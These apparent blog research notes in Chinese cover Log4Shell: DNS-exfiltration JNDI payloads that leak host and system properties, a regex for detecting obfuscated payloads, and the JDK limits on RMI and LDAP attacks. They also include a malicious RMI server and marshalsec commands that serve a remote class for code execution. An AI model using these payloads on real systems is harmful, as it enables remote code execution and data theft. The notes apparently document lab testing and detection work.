关于log4j、log4shell的一些记录


无法外带敏感数据问题

通过DNSLOG外带敏感信息时,使用子域名形式会有一部分信息带不出来。比如我在下面分别拼接了四个payload:

${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}}

位置如图:

结果是只有hostnamejava.version外带出了信息:

带不出来的原因是返回的结果中会有一些特殊字符如空格,导致jndi lookup抛出NamingException:

所以更好的方法是通过dns外带,监听UDP端口,并将变量名拼接在url之后:

${jndi:dns://127.0.0.1:6666/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}

如图可以外带敏感信息:

那么这些{}究竟是什么变量,以及其他还可以外带哪些敏感信息呢,这个我也找了一下。log4j 漏洞一些特殊的利用方式这篇文章提到了System.getProperty()System.getenv()以及Bundle,但我本地打印了一下发现并不是${sys:java.version}这样的key-value对,应该是log4j从这些属性中读出信息后自己进行了处理,这个有待debug跟一下。

另外浅蓝师傅还在文章中提到了ResourceBundle加载.properties 配置文件,导致可以读配置项信息的问题:

好用的正则表达式

Twitter上@egglessness老哥分享的正则:

\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`)*}*){9,11}

我用regexr测试了一下,前缀是都能匹配上的,即使进行了大小写或者随机符号混淆:

可以从这里调试一下:

https://regex101.com/r/bImUQl/1

我匹配的payload是使用woodpecker框架加载此payload插件生成的:

可以帮助进行大小写混淆和随机符号混淆。

ElasticSearch中的log4j版本受影响但无法RCE

偷师P牛

创建的index名中带payload时会写进日志,经由log4j处理,但是ES对index的名字有一些限制,无法使用特殊字符:

template index可以使用payload触发jndi lookup,但是由于ES使用了Security Manager安全机制来防御文件操作和Socket操作,所以无法正常连接远程服务器,也就无法实现RCE。只能用DNS外带一些敏感信息了。

利用RMI攻击要求jdk版本更低

LDAP协议攻击Log4j要求jdk版本低于8u191,RMI协议攻击要求jdk版本低于8u121。都是针对被攻击端的jdk版本要求。

我的jdk版本为8u181,默认情况下,还可以指定URI为LDAP协议来进行JNDI注入攻击,但RMI和CORBA已被禁止使用远程codebase。主动开启选项System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");才可以利用成功:

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

测试RMI Server:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("Create RMI registry on port 1099!");
        // Reference 需要传入三个参数 (className, factory, factoryLocation)
        // 第一个参数随便填,第二各参数要填 HTTP 服务下的类名,第三个参数填写远程地址
        Reference refObj = new Reference("whatever", "EvilObject", "http://127.0.0.1:8080/");
        // ReferenceWrapper 包裹 Reference 类,使其能通过 RMI 进行远程访问
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", referenceWrapper);

    }
}

marshalsec启动服务监听:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.198.138:1111/#Calc" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.198.138:1111/#Calc" 9999
文章目录
  1. 1. 无法外带敏感数据问题
  2. 2. 好用的正则表达式
  3. 3. ElasticSearch中的log4j版本受影响但无法RCE
  4. 4. 利用RMI攻击要求jdk版本更低
|